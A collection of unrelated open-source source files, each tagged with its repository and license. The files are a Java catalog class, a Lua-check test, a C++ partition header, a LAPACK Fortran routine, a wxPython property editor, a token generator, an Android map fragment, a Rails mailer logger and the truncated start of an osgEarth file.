import nl.umcg.hl7.service.studydefinition.POQMMT000002UVObservation;
import org.molgenis.omx.catalogmanager.OmxCatalogFolder;
import org.molgenis.omx.observ.Protocol;
public class PoqmObservationCatalogItem extends OmxCatalogFolder
{
private final POQMMT000002UVObservation observation;
public PoqmObservationCatalogItem(POQMMT000002UVObservation observation, Protocol protocol)
{
super(protocol);
if (observation == null) throw new IllegalArgumentException("observation is null");
this.observation = observation;
}
@Override
public String getName()
{
return observation.getCode().getDisplayName();
}
@Override
public String getDescription()
{
return observation.getCode().getOriginalText().getContent().toString();
}
@Override
public String getCode()
{
return observation.getCode().getCode();
}
@Override
public String getCodeSystem()
{
return observation.getCode().getCodeSystem();
}
}
| dennishendriksen/molgenis-lifelines | src/main/java/org/molgenis/lifelines/catalog/PoqmObservationCatalogItem.java | Java | lgpl-3.0 | 972 |
/*
* SonarQube Lua Plugin
* Copyright (C) 2016
* mailto:fati.ahmadi AT gmail DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonar.lua.checks;
import org.junit.Test;
import org.sonar.lua.LuaAstScanner;
import org.sonar.squidbridge.api.SourceFile;
import org.sonar.squidbridge.checks.CheckMessagesVerifier;
import org.sonar.squidbridge.api.SourceFunction;
import java.io.File;
public class TableComplexityCheckTest {
@Test
public void test() {
TableComplexityCheck check = new TableComplexityCheck();
check.setMaximumTableComplexityThreshold(0);
SourceFile file = LuaAstScanner.scanSingleFile(new File("src/test/resources/checks/tableComplexity.lua"), check);
CheckMessagesVerifier.verify(file.getCheckMessages())
.next().atLine(1).withMessage("Table has a complexity of 1 which is greater than 0 authorized.")
.noMore();
}
}
| SonarQubeCommunity/sonar-lua | lua-checks/src/test/java/org/sonar/lua/checks/TableComplexityCheckTest.java | Java | lgpl-3.0 | 1,600 |
/*
* partition.h -- a disjoint set of pairwise equivalent items
*
* Copyright (c) 2007-2010, Dmitry Prokoptsev <[email protected]>,
* Alexander Gololobov <[email protected]>
*
* This file is part of Pire, the Perl Incompatible
* Regular Expressions library.
*
* Pire is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Pire is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser Public License for more details.
* You should have received a copy of the GNU Lesser Public License
* along with Pire. If not, see <http://www.gnu.org/licenses>.
*/
#ifndef PIRE_PARTITION_H
#define PIRE_PARTITION_H
#include "stub/stl.h"
#include "stub/singleton.h"
namespace Pire {
/*
* A class which forms a disjoint set of pairwise equivalent items,
* depending on given equivalence relation.
*/
template<class T, class Eq>
class Partition {
private:
typedef ymap< T, ypair< size_t, yvector<T> > > Set;
public:
Partition(const Eq& eq)
: m_eq(eq)
, m_maxidx(0)
{
}
/// Appends a new item into partition, creating new equivalience class if neccessary.
void Append(const T& t) {
DoAppend(m_set, t);
}
typedef typename Set::const_iterator ConstIterator;
ConstIterator Begin() const {
return m_set.begin();
}
ConstIterator End() const {
return m_set.end();
}
size_t Size() const {
return m_set.size();
}
bool Empty() const {
return m_set.empty();
}
/// Returns an item equal to @p t. It is guaranteed that:
/// - representative(a) equals representative(b) iff a is equivalent to b;
/// - representative(a) is equivalent to a.
const T& Representative(const T& t) const
{
typename ymap<T, T>::const_iterator it = m_inv.find(t);
if (it != m_inv.end())
return it->second;
else
return DefaultValue<T>();
}
bool Contains(const T& t) const
{
return m_inv.find(t) != m_inv.end();
}
/// Returns an index of set containing @p t. It is guaranteed that:
/// - index(a) equals index(b) iff a is equivalent to b;
/// - 0 <= index(a) < size().
size_t Index(const T& t) const
{
typename ymap<T, T>::const_iterator it = m_inv.find(t);
if (it == m_inv.end())
throw Error("Partition::index(): attempted to obtain an index of nonexistent item");
typename Set::const_iterator it2 = m_set.find(it->second);
YASSERT(it2 != m_set.end());
return it2->second.first;
}
/// Returns the whole equivalence class of @p t (i.e. item @p i
/// is returned iff representative(i) == representative(t)).
const yvector<T>& Klass(const T& t) const
{
typename ymap<T, T>::const_iterator it = m_inv.find(t);
if (it == m_inv.end())
throw Error("Partition::index(): attempted to obtain an index of nonexistent item");
ConstIterator it2 = m_set.find(it->second);
YASSERT(it2 != m_set.end());
return it2->second.second;
}
bool operator == (const Partition& rhs) const { return m_set == rhs.m_set; }
bool operator != (const Partition& rhs) const { return !(*this == rhs); }
/// Splits the current sets into smaller ones, using given equivalence relation.
/// Requires given relation imply previous one (set either in ctor or
/// in preceeding calls to split()), but performs faster.
/// Replaces previous relation with given one.
void Split(const Eq& eq)
{
m_eq = eq;
for (typename Set::iterator sit = m_set.begin(), sie = m_set.end(); sit != sie; ++sit)
if (sit->second.second.size() > 1) {
yvector<T>& v = sit->second.second;
typename yvector<T>::iterator bound = std::partition(v.begin(), v.end(), std::bind2nd(m_eq, v[0]));
if (bound == v.end())
continue;
Set delta;
for (typename yvector<T>::iterator it = bound, ie = v.end(); it != ie; ++it)
DoAppend(delta, *it);
v.erase(bound, v.end());
m_set.insert(delta.begin(), delta.end());
}
}
private:
Eq m_eq;
Set m_set;
ymap<T, T> m_inv;
size_t m_maxidx;
void DoAppend(Set& set, const T& t)
{
typename Set::iterator it = set.begin();
typename Set::iterator end = set.end();
for (; it != end; ++it)
if (m_eq(it->first, t)) {
it->second.second.push_back(t);
m_inv[t] = it->first;
break;
}
if (it == end) {
// Begin new set
yvector<T> v(1, t);
set.insert(ymake_pair(t, ymake_pair(m_maxidx++, v)));
m_inv[t] = t;
}
}
};
// Mainly for debugging
template<class T, class Eq>
yostream& operator << (yostream& stream, const Partition<T, Eq>& partition)
{
stream << "Partition {\n";
for (typename Partition<T, Eq>::ConstIterator it = partition.Begin(), ie = partition.End(); it != ie; ++it) {
stream << " Class " << it->second.first << " \"" << it->first << "\" { ";
bool first = false;
for (typename yvector<T>::const_iterator iit = it->second.second.begin(), iie = it->second.second.end(); iit != iie; ++iit) {
if (first)
stream << ", ";
else
first = true;
stream << *iit;
}
stream << " }\n";
}
stream << "}";
return stream;
}
}
#endif
| starius/pire | pire/partition.h | C | lgpl-3.0 | 5,239 |
SUBROUTINE SGETF2( M, N, A, LDA, IPIV, INFO )
*
* -- LAPACK routine (version 3.0) --
* Univ. of Tennessee, Univ. of California Berkeley, NAG Ltd.,
* Courant Institute, Argonne National Lab, and Rice University
* June 30, 1992
*
* .. Scalar Arguments ..
INTEGER INFO, LDA, M, N
* ..
* .. Array Arguments ..
INTEGER IPIV( * )
REAL A( LDA, * )
* ..
*
* Purpose
* =======
*
* SGETF2 computes an LU factorization of a general m-by-n matrix A
* using partial pivoting with row interchanges.
*
* The factorization has the form
* A = P * L * U
* where P is a permutation matrix, L is lower triangular with unit
* diagonal elements (lower trapezoidal if m > n), and U is upper
* triangular (upper trapezoidal if m < n).
*
* This is the right-looking Level 2 BLAS version of the algorithm.
*
* Arguments
* =========
*
* M (input) INTEGER
* The number of rows of the matrix A. M >= 0.
*
* N (input) INTEGER
* The number of columns of the matrix A. N >= 0.
*
* A (input/output) REAL array, dimension (LDA,N)
* On entry, the m by n matrix to be factored.
* On exit, the factors L and U from the factorization
* A = P*L*U; the unit diagonal elements of L are not stored.
*
* LDA (input) INTEGER
* The leading dimension of the array A. LDA >= max(1,M).
*
* IPIV (output) INTEGER array, dimension (min(M,N))
* The pivot indices; for 1 <= i <= min(M,N), row i of the
* matrix was interchanged with row IPIV(i).
*
* INFO (output) INTEGER
* = 0: successful exit
* < 0: if INFO = -k, the k-th argument had an illegal value
* > 0: if INFO = k, U(k,k) is exactly zero. The factorization
* has been completed, but the factor U is exactly
* singular, and division by zero will occur if it is used
* to solve a system of equations.
*
* =====================================================================
*
* .. Parameters ..
REAL ONE, ZERO
PARAMETER ( ONE = 1.0E+0, ZERO = 0.0E+0 )
* ..
* .. Local Scalars ..
INTEGER J, JP
* ..
* .. External Functions ..
INTEGER ISAMAX
EXTERNAL ISAMAX
* ..
* .. External Subroutines ..
EXTERNAL SGER, SSCAL, SSWAP, XERBLA
* ..
* .. Intrinsic Functions ..
INTRINSIC MAX, MIN
* ..
* .. Executable Statements ..
*
* Test the input parameters.
*
INFO = 0
IF( M.LT.0 ) THEN
INFO = -1
ELSE IF( N.LT.0 ) THEN
INFO = -2
ELSE IF( LDA.LT.MAX( 1, M ) ) THEN
INFO = -4
END IF
IF( INFO.NE.0 ) THEN
CALL XERBLA( 'SGETF2', -INFO )
RETURN
END IF
*
* Quick return if possible
*
IF( M.EQ.0 .OR. N.EQ.0 )
$ RETURN
*
DO 10 J = 1, MIN( M, N )
*
* Find pivot and test for singularity.
*
JP = J - 1 + ISAMAX( M-J+1, A( J, J ), 1 )
IPIV( J ) = JP
IF( A( JP, J ).NE.ZERO ) THEN
*
* Apply the interchange to columns 1:N.
*
IF( JP.NE.J )
$ CALL SSWAP( N, A( J, 1 ), LDA, A( JP, 1 ), LDA )
*
* Compute elements J+1:M of J-th column.
*
IF( J.LT.M )
$ CALL SSCAL( M-J, ONE / A( J, J ), A( J+1, J ), 1 )
*
ELSE IF( INFO.EQ.0 ) THEN
*
INFO = J
END IF
*
IF( J.LT.MIN( M, N ) ) THEN
*
* Update trailing submatrix.
*
CALL SGER( M-J, N-J, -ONE, A( J+1, J ), 1, A( J, J+1 ), LDA,
$ A( J+1, J+1 ), LDA )
END IF
10 CONTINUE
RETURN
*
* End of SGETF2
*
END
| wkramer/openda | core/native/external/lapack/sgetf2.f | FORTRAN | lgpl-3.0 | 3,933 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
"Visual Property Editor (using wx PropertyGrid) of gui2py's components"
__author__ = "Mariano Reingart ([email protected])"
__copyright__ = "Copyright (C) 2013- Mariano Reingart"
__license__ = "LGPL 3.0"
# some parts where inspired or borrowed from wxFormBuilders & wxPython examples
import sys, time, math, os, os.path
import wx
_ = wx.GetTranslation
import wx.propgrid as wxpg
from gui.component import InitSpec, StyleSpec, Spec, EventSpec, DimensionSpec
from gui.font import Font
DEBUG = False
class PropertyEditorPanel(wx.Panel):
def __init__( self, parent, log ):
wx.Panel.__init__(self, parent, wx.ID_ANY)
self.log = log
self.callback = None
self.panel = panel = wx.Panel(self, wx.ID_ANY)
topsizer = wx.BoxSizer(wx.VERTICAL)
# Difference between using PropertyGridManager vs PropertyGrid is that
# the manager supports multiple pages and a description box.
self.pg = pg = wxpg.PropertyGrid(panel,
style=wxpg.PG_SPLITTER_AUTO_CENTER |
wxpg.PG_AUTO_SORT |
wxpg.PG_TOOLBAR)
# Show help as tooltips
pg.SetExtraStyle(wxpg.PG_EX_HELP_AS_TOOLTIPS)
pg.Bind( wxpg.EVT_PG_CHANGED, self.OnPropGridChange )
pg.Bind( wxpg.EVT_PG_PAGE_CHANGED, self.OnPropGridPageChange )
pg.Bind( wxpg.EVT_PG_SELECTED, self.OnPropGridSelect )
pg.Bind( wxpg.EVT_PG_RIGHT_CLICK, self.OnPropGridRightClick )
##pg.AddPage( "Page 1 - Testing All" )
# store the property grid for future reference
self.pg = pg
# load empty object (just draws categories)
self.load_object(None)
# sizing stuff:
topsizer.Add(pg, 1, wx.EXPAND)
panel.SetSizer(topsizer)
topsizer.SetSizeHints(panel)
sizer = wx.BoxSizer(wx.VERTICAL)
sizer.Add(panel, 1, wx.EXPAND)
self.SetSizer(sizer)
self.SetAutoLayout(True)
def load_object(self, obj, callback=None):
pg = self.pg # get the property grid reference
self.callback = callback # store the update method
# delete all properties
pg.Clear()
# clean references and aux structures
appended = set()
self.obj = obj
self.groups = {}
# loop on specs and append each property (categorized):
for i, cat, class_ in ((1, 'Init Specs', InitSpec),
(2, 'Dimension Specs', DimensionSpec),
(3, 'Style Specs', StyleSpec),
(5, 'Events', EventSpec),
(4, 'Basic Specs', Spec),
):
pg.Append(wxpg.PropertyCategory("%s - %s" % (i, cat)))
if obj is None:
continue
specs = sorted(obj._meta.specs.items(), key=lambda it: it[0])
for name, spec in specs:
if DEBUG: print "setting prop", spec, class_, spec.type
if isinstance(spec, class_):
prop = {'string': wxpg.StringProperty,
'integer': wxpg.IntProperty,
'float': wxpg.FloatProperty,
'boolean': wxpg.BoolProperty,
'text': wxpg.LongStringProperty,
'code': wxpg.LongStringProperty,
'enum': wxpg.EnumProperty,
'edit_enum': wxpg.EditEnumProperty,
'expr': wxpg.StringProperty,
'array': wxpg.ArrayStringProperty,
'font': wxpg.FontProperty,
'image_file': wxpg.ImageFileProperty,
'colour': wxpg.ColourProperty}.get(spec.type)
if prop and name not in appended:
value = getattr(obj, name)
if DEBUG: print "name", name, value
if spec.type == "code" and value is None:
value = ""
if spec.type == "boolean" and value is None:
value = False
if spec.type == "integer" and value is None:
value = -1
if spec.type in ("string", "text") and value is None:
value = ""
if spec.type == "expr":
value = repr(value)
if spec.type == "font":
if value is None:
value = wx.NullFont
else:
value = value.get_wx_font()
if callable(value):
# event binded at runtime cannot be modified:
value = str(value)
readonly = True
else:
readonly = False
if spec.type == "enum":
prop = prop(name, name,
spec.mapping.keys(),
spec.mapping.values(),
value=spec.mapping.get(value, 0))
elif spec.type == "edit_enum":
prop = prop(name, name,
spec.mapping.keys(),
range(len(spec.mapping.values())),
value=spec.mapping[value])
else:
try:
prop = prop(name, value=value)
except Exception, e:
print "CANNOT LOAD PROPERTY", name, value, e
prop.SetPyClientData(spec)
appended.add(name)
if spec.group is None:
pg.Append(prop)
if readonly:
pg.SetPropertyReadOnly(prop)
else:
# create a group hierachy (wxpg uses dot notation)
group = ""
prop_parent = None
for grp in spec.group.split("."):
prev_group = group # ancestor
group += ("." if group else "") + grp # path
if group in self.groups:
prop_parent = self.groups[group]
else:
prop_group = wxpg.StringProperty(grp,
value="<composed>")
if not prop_parent:
pg.Append(prop_group)
else:
pg.AppendIn(prev_group, prop_group)
prop_parent = prop_group
self.groups[group] = prop_parent
pg.SetPropertyReadOnly(group)
pg.AppendIn(spec.group, prop)
pg.Collapse(spec.group)
name = spec.group + "." + name
if spec.type == "boolean":
pg.SetPropertyAttribute(name, "UseCheckbox", True)
doc = spec.__doc__
if doc:
pg.SetPropertyHelpString(name, doc)
def edit(self, name=""):
"Programatically select a (default) property to start editing it"
# for more info see DoSelectAndEdit in propgrid.cpp
for name in (name, "label", "value", "text", "title", "filename",
"name"):
prop = self.pg.GetPropertyByName(name)
if prop is not None:
break
self.Parent.SetFocus()
self.Parent.Raise()
self.pg.SetFocus()
# give time to the ui to show the prop grid and set focus:
wx.CallLater(250, self.select, prop.GetName())
def select(self, name, flags=0):
"Select a property (and start the editor)"
# do not call this directly from another window, use edit() instead
# // wxPropertyGrid::DoSelectProperty flags (selFlags) -see propgrid.h-
wxPG_SEL_FOCUS=0x0001 # Focuses to created editor
wxPG_SEL_FORCE=0x0002 # Forces deletion and recreation of editor
flags |= wxPG_SEL_FOCUS # | wxPG_SEL_FORCE
prop = self.pg.GetPropertyByName(name)
self.pg.SelectProperty(prop, flags)
if DEBUG: print "selected!", prop
def OnPropGridChange(self, event):
p = event.GetProperty()
if DEBUG: print "change!", p
if p:
name = p.GetName()
spec = p.GetPyClientData()
if spec and 'enum' in spec.type:
value = p.GetValueAsString()
else:
value = p.GetValue()
#self.log.write(u'%s changed to "%s"\n' % (p,p.GetValueAsString()))
# if it a property child (parent.child), extract its name
if "." in name:
name = name[name.rindex(".") + 1:]
if spec and not name in self.groups:
if name == 'font': # TODO: detect property type
# create a gui font from the wx.Font
font = Font()
font.set_wx_font(value)
value = font
# expressions must be evaluated to store the python object
if spec.type == "expr":
value = eval(value)
# re-create the wx_object with the new property value
# (this is required at least to apply new styles and init specs)
if DEBUG: print "changed", self.obj.name
kwargs = {str(name): value}
wx.CallAfter(self.obj.rebuild, **kwargs)
if name == 'name':
wx.CallAfter(self.callback, **dict(name=self.obj.name))
def OnPropGridSelect(self, event):
p = event.GetProperty()
if p:
self.log.write(u'%s selected\n' % (event.GetProperty().GetName()))
else:
self.log.write(u'Nothing selected\n')
def OnDeleteProperty(self, event):
p = self.pg.GetSelectedProperty()
if p:
self.pg.DeleteProperty(p)
else:
wx.MessageBox("First select a property to delete")
def OnReserved(self, event):
pass
def OnPropGridRightClick(self, event):
p = event.GetProperty()
if p:
self.log.write(u'%s right clicked\n' % (event.GetProperty().GetName()))
else:
self.log.write(u'Nothing right clicked\n')
#self.obj.get_parent().Refresh()
def OnPropGridPageChange(self, event):
index = self.pg.GetSelectedPage()
self.log.write('Page Changed to \'%s\'\n' % (self.pg.GetPageName(index)))
if __name__ == '__main__':
import sys,os
app = wx.App()
f = wx.Frame(None)
from gui.controls import Button, Label, TextBox, CheckBox, ListBox, ComboBox
frame = wx.Frame(None)
#o = Button(frame, name="btnTest", label="click me!", default=True)
#o = Label(frame, name="lblTest", alignment="right", size=(-1, 500), text="hello!")
o = TextBox(frame, name="txtTest", border=False, text="hello world!")
#o = CheckBox(frame, name="chkTest", border='none', label="Check me!")
#o = ListBox(frame, name="lstTest", border='none',
# items={'datum1': 'a', 'datum2':'b', 'datum3':'c'},
# multiselect="--multiselect" in sys.argv)
#o = ComboBox(frame, name="cboTest",
# items={'datum1': 'a', 'datum2':'b', 'datum3':'c'},
# readonly='--readonly' in sys.argv,
# )
frame.Show()
log = sys.stdout
w = PropertyEditorPanel(f, log)
w.load_object(o)
f.Show()
app.MainLoop()
| reingart/gui2py | gui/tools/propeditor.py | Python | lgpl-3.0 | 12,658 |
#!/usr/bin/python3
import sys
from pathlib import Path
list_scope_path = Path("./list_scope_tokens.txt")
keyword_bit = 13
list_scope_bit = 14
def main():
if len(sys.argv) < 2:
print("Error: Must specify an argument of either 'tokens' or 'emitters'!", file=sys.stderr)
return 1
list_scopes = set()
with list_scope_path.open('r') as f:
for line in f:
line = line.strip()
if line.startswith('#') or len(line) == 0:
continue
list_scopes.add(line)
max_kw_len = max( len(kw) for kw in list_scopes )
if sys.argv[1] == 'tokens':
t_id = (1 << (keyword_bit - 1)) | (1 << (list_scope_bit-1))
for t in sorted(list_scopes):
print(' {:<{width}} = 0x{:4X};'.format(t.upper(), t_id, width=max_kw_len))
t_id += 1
elif sys.argv[1] == 'emitters':
for t in sorted(list_scopes):
print(' {:<{width}} => T_{}(Lexeme);'.format('"' + t + '"', t.upper(), width = max_kw_len + 2))
else:
print("Error: Must specify an argument of either 'tokens' or 'emitters'!", file=sys.stderr)
return 1
return 0
if __name__ == '__main__':
sys.exit(main())
| zijistark/zckTools | src/zck/token_codegen.py | Python | lgpl-3.0 | 1,078 |
package com.faralot.core.ui.fragments;
import android.app.Activity;
import android.app.AlertDialog.Builder;
import android.app.Fragment;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.os.Bundle;
import android.provider.MediaStore.Images.Media;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AppCompatActivity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewGroup.LayoutParams;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.ProgressBar;
import android.widget.TextView;
import com.faralot.core.App;
import com.faralot.core.R;
import com.faralot.core.R.drawable;
import com.faralot.core.R.id;
import com.faralot.core.R.layout;
import com.faralot.core.R.string;
import com.faralot.core.lib.LocalizationSystem;
import com.faralot.core.lib.LocalizationSystem.Listener;
import com.faralot.core.rest.model.Location;
import com.faralot.core.rest.model.location.Coord;
import com.faralot.core.ui.holder.LocalizationHolder;
import com.faralot.core.utils.Dimension;
import com.faralot.core.utils.Localization;
import com.faralot.core.utils.Util;
import com.orhanobut.dialogplus.DialogPlus;
import com.orhanobut.dialogplus.OnItemClickListener;
import com.squareup.okhttp.MediaType;
import com.squareup.okhttp.RequestBody;
import org.osmdroid.bonuspack.overlays.InfoWindow;
import org.osmdroid.bonuspack.overlays.MapEventsOverlay;
import org.osmdroid.bonuspack.overlays.MapEventsReceiver;
import org.osmdroid.util.GeoPoint;
import org.osmdroid.views.MapView;
import org.osmdroid.views.overlay.ItemizedIconOverlay;
import org.osmdroid.views.overlay.OverlayItem;
import java.io.File;
import java.util.ArrayList;
import retrofit.Callback;
import retrofit.Response;
import retrofit.Retrofit;
public class LocationAddSelectFragment extends Fragment {
protected MapView mapView;
protected TextView latitude;
protected ProgressBar latitudeProgress;
protected TextView longitude;
protected ProgressBar longitudeProgress;
protected ImageButton submit;
private boolean forceZoom;
public LocationAddSelectFragment() {
}
@Override
public final View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View view = inflater.inflate(layout.fragment_location_add_select, container, false);
initElements(view);
ActionBar actionBar = ((AppCompatActivity) getActivity()).getSupportActionBar();
if (actionBar != null) {
actionBar.setTitle(getString(string.find_coordinates));
}
onChoose();
return view;
}
private void initElements(View view) {
mapView = (MapView) view.findViewById(id.map);
latitude = (TextView) view.findViewById(id.result_lat);
latitudeProgress = (ProgressBar) view.findViewById(id.progress_latitude);
longitude = (TextView) view.findViewById(id.result_lon);
longitudeProgress = (ProgressBar) view.findViewById(id.progress_longitude);
Button back = (Button) view.findViewById(id.back);
back.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
clearResultLayout();
onChoose();
onChoose();
}
});
submit = (ImageButton) view.findViewById(id.submit);
submit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
onSubmit();
}
});
}
private void generateContent(float lat, float lon) {
GeoPoint actPosition = new GeoPoint((double) lat, (double) lon);
Util.setMapViewSettings(mapView, actPosition, forceZoom);
ArrayList<OverlayItem> locations = new ArrayList<>(1);
OverlayItem actPositionItem = new OverlayItem(getString(string.here),
getString(string.my_position), actPosition);
actPositionItem.setMarker(Util.resizeDrawable(getResources()
.getDrawable(drawable.ic_marker_dark), getResources(), new Dimension(45, 45)));
locations.add(actPositionItem);
// Bonuspack
MapEventsOverlay mapEventsOverlay = new MapEventsOverlay(getActivity(),
new MapEventsReceiver() {
@Override
public boolean singleTapConfirmedHelper(GeoPoint geoPoint) {
InfoWindow.closeAllInfoWindowsOn(mapView);
return true;
}
@Override
public boolean longPressHelper(GeoPoint geoPoint) {
InfoWindow.closeAllInfoWindowsOn(mapView);
setResultLayout((float) geoPoint.getLatitude(), (float) geoPoint
.getLongitude());
return true;
}
});
mapView.getOverlays().add(0, mapEventsOverlay);
mapView.getOverlays().add(new ItemizedIconOverlay<>(getActivity(), locations, null));
}
protected final void onChoose() {
clearResultLayout();
forceZoom = true;
ArrayList<Localization> localizations = new ArrayList<>(4);
localizations.add(new Localization(drawable.ic_gps_dark, getString(string.gps_coordinates), Localization.GPS));
localizations.add(new Localization(drawable.ic_camera_dark, getString(string.coord_photo_exif), Localization.PIC_COORD));
localizations.add(new Localization(drawable.ic_manual_dark, getString(string.add_manual), Localization.MANUAL));
if (App.palsActive) {
localizations.add(new Localization(drawable.ic_pals_dark, getString(string.pals_provider), Localization.PALS));
}
DialogPlus dialog = DialogPlus.newDialog(getActivity())
.setAdapter(new LocalizationHolder(getActivity(), localizations))
.setOnItemClickListener(new OnItemClickListener() {
@Override
public void onItemClick(DialogPlus dialog, Object item, View view, int position) {
Listener listener = new Listener() {
@Override
public void onComplete(Coord coord, boolean valid) {
if (valid) {
setResultLayout(coord.getLatitude(), coord.getLongitude());
}
}
};
dialog.dismiss();
if (position == 0) {
App.localization.getCoords(LocalizationSystem.GPS, listener);
} else if (position == 1) {
searchExif();
} else if (position == 2) {
searchManual();
} else if (position == 3) {
App.localization.getCoords(LocalizationSystem.PALS, listener);
}
}
})
.setContentWidth(LayoutParams.WRAP_CONTENT)
.setContentHeight(LayoutParams.WRAP_CONTENT)
.create();
dialog.show();
}
void searchManual() {
Builder alertDialog = new Builder(getActivity());
final View layout = getActivity().getLayoutInflater()
.inflate(R.layout.dialog_location_add_manual, null);
alertDialog.setView(layout);
alertDialog.setPositiveButton(getString(string.confirm), new OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
EditText latitude = (EditText) layout.findViewById(id.latitude);
EditText longitude = (EditText) layout.findViewById(id.longitude);
setResultLayout(Float.parseFloat(latitude.getText()
.toString()), Float.parseFloat(longitude.getText().toString()));
}
});
alertDialog.show();
}
void searchExif() {
Intent intent = new Intent(Intent.ACTION_PICK, Media.EXTERNAL_CONTENT_URI);
startActivityForResult(intent, 0);
}
void setResultLayout(float lat, float lon) {
if (lat != 0 && lon != 0) {
submit.setVisibility(View.VISIBLE);
}
latitudeProgress.setVisibility(View.GONE);
latitude.setText(String.valueOf(lat));
longitudeProgress.setVisibility(View.GONE);
longitude.setText(String.valueOf(lon));
generateContent(lat, lon);
forceZoom = false;
}
private void clearResultLayout() {
submit.setVisibility(View.GONE);
latitudeProgress.setVisibility(View.VISIBLE);
latitudeProgress.setIndeterminate(true);
latitude.setText(null);
longitudeProgress.setVisibility(View.VISIBLE);
longitudeProgress.setIndeterminate(true);
longitude.setText(null);
}
protected final void onSubmit() {
float lat = Float.parseFloat(latitude.getText().toString());
float lon = Float.parseFloat(longitude.getText().toString());
if (lat != 0 && lon != 0) {
Fragment fragment = new LocationAddFragment();
Bundle bundle = new Bundle();
bundle.putFloat(Location.GEOLOCATION_COORD_LATITUDE, lat);
bundle.putFloat(Location.GEOLOCATION_COORD_LONGITUDE, lon);
fragment.setArguments(bundle);
Util.changeFragment(null, fragment, id.frame_container, getActivity(), null);
} else {
Util.getMessageDialog(getString(string.no_valid_coords), getActivity());
}
}
/**
* Bild wird ausgesucht und uebergeben
*/
@Override
public final void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == 0 && resultCode == Activity.RESULT_OK) {
String path = Util.getPathFromCamera(data, getActivity());
if (path != null) {
RequestBody typedFile = RequestBody.create(MediaType.parse("image/*"), new File(path));
App.rest.location.getLocationByExif(typedFile).enqueue(new Callback<Coord>() {
@Override
public void onResponse(Response<Coord> response, Retrofit retrofit) {
if (response.isSuccess()) {
setResultLayout(response.body().getLatitude(), response
.body()
.getLongitude());
} else {
setResultLayout(0, 0);
}
}
@Override
public void onFailure(Throwable t) {
Util.getMessageDialog(t.getMessage(), getActivity());
}
});
}
}
}
}
| bestog/faralot-core | app/src/main/java/com/faralot/core/ui/fragments/LocationAddSelectFragment.java | Java | lgpl-3.0 | 9,954 |
module RailsLog
class MailerSubscriber < ActiveSupport::LogSubscriber
def record(event)
payload = event.payload
log_mailer = Logged::LogMailer.new(message_object_id: payload[:message_object_id], mailer: payload[:mailer])
log_mailer.action_name = payload[:action_name]
log_mailer.params = payload[:params]
log_mailer.save
info 'mailer log saved!'
end
def deliver(event)
payload = event.payload
log_mailer = Logged::LogMailer.find_or_initialize_by(message_object_id: payload[:message_object_id], mailer: payload[:mailer])
log_mailer.subject = payload[:subject]
log_mailer.sent_status = payload[:sent_status]
log_mailer.sent_string = payload[:sent_string]
log_mailer.mail_to = payload[:mail_to]
log_mailer.cc_to = payload[:cc_to]
log_mailer.save
info 'mailer log updated!'
end
end
end
RailsLog::MailerSubscriber.attach_to :action_mailer
| qinmingyuan/rails_log | lib/rails_log/mailer_subscriber.rb | Ruby | lgpl-3.0 | 952 |
/* -*-c++-*- */
/* osgEarth - Dynamic map generation toolkit for OpenSceneGraph
* Copyright 2016 Pelican Mapping
* http://osgearth.org
*
* osgEarth is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
#include <osgEarthFeatures/FeatureDisplayLayout>
#include <limits>
using namespace osgEarth;
using namespace osgEarth::Features;
using namespace osgEarth::Symbology;
//------------------------------------------------------------------------
FeatureLevel::FeatureLevel( const Config& conf ) :
_minRange( 0.0f ),
_maxRange( FLT_MAX )
{
fromConfig( conf );
}
FeatureLevel::FeatureLevel( float minRange, float maxRange )
{
_minRange = minRange;
_maxRange = maxRange;
}
FeatureLevel::FeatureLevel( float minRange, float maxRange, const std::string& styleName )
{
_minRange = minRange;
_maxRange = maxRange;
_styleName = styleName;
}
void
FeatureLevel::fromConfig( const Config& conf )
{
conf.getIfSet( "min_range", _minRange );
conf.getIfSet( "max_range", _maxRange );
conf.getIfSet( "style", _styleName );
conf.getIfSet( "class", _styleName ); // alias
}
Config
FeatureLevel::getConfig() const
{
Config conf( "level" );
conf.addIfSet( "min_range", _minRange );
conf.addIfSet( "max_range", _maxRange );
conf.addIfSet( "style", _styleName );
return conf;
}
//------------------------------------------------------------------------
FeatureDisplayLayout::FeatureDisplayLayout( const Config& conf ) :
_tileSizeFactor( 15.0f ),
_minRange ( 0.0f ),
_maxRange ( 0.0f ),
_cropFeatures ( false ),
_priorityOffset( 0.0f ),
_priorityScale ( 1.0f ),
_minExpiryTime ( 0.0f )
{
fromConfig( conf );
}
void
FeatureDisplayLayout::fromConfig( const Config& conf )
{
conf.getIfSet( "tile_size", _tileSize );
conf.getIfSet( "tile_size_factor", _tileSizeFactor );
conf.getIfSet( "crop_features", _cropFeatures );
conf.getIfSet( "priority_offset", _priorityOffset );
